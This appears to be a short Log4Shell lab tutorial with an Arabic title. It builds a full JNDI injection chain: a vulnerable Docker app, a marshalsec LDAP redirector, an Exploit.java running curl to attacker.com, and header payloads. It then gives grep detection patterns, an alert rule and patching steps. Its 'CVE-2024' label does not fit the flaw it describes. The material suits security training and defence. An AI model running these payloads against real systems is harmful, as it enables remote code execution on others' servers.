تحليل CVE-2024 — Log4Shell العودة: درس في JNDI Injection

User-Agent: ${jndi:ldap://attacker.com/exploit}

# تثبيت بيئة ضعيفة للتدريب
docker pull ghcr.io/christophetd/log4shell-vulnerable-app
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

# استخدام marshalsec
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

# تشغيل LDAP redirector
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
     marshalsec.jndi.LDAPRefServer "http://attacker-ip:8888/#Exploit"

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("curl attacker.com/callback");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

# تجميع وتقديم الـ Payload
javac Exploit.java
python3 -m http.server 8888

# اختبار عبر X-Api-Version header
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com:1389/exploit}' \
     http://target:8080/

# أو عبر User-Agent
curl -A '${jndi:ldap://attacker.com:1389/exploit}' \
     http://target:8080/

# البحث عن محاولات الاستغلال
grep -E '\$\{jndi:(ldap|rmi|dns|corba)://' /var/log/app/*.log

# Regex أكثر شمولاً
grep -iE '\$\{[^\}]*j[^\}]*n[^\}]*d[^\}]*i[^\}]*:' /var/log/*.log

<rule id="100001" level="15">
    <match>jndi:</match>
    <description>Possible Log4Shell exploitation attempt</description>
    <group>log4shell,exploit</group>
</rule>

# الحل الفوري — تعطيل JNDI Lookup
java -Dlog4j2.formatMsgNoLookups=true -jar application.jar

# الحل الدائم — تحديث Log4j
# في Maven:
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.1</version>  <!-- أو أحدث -->
</dependency>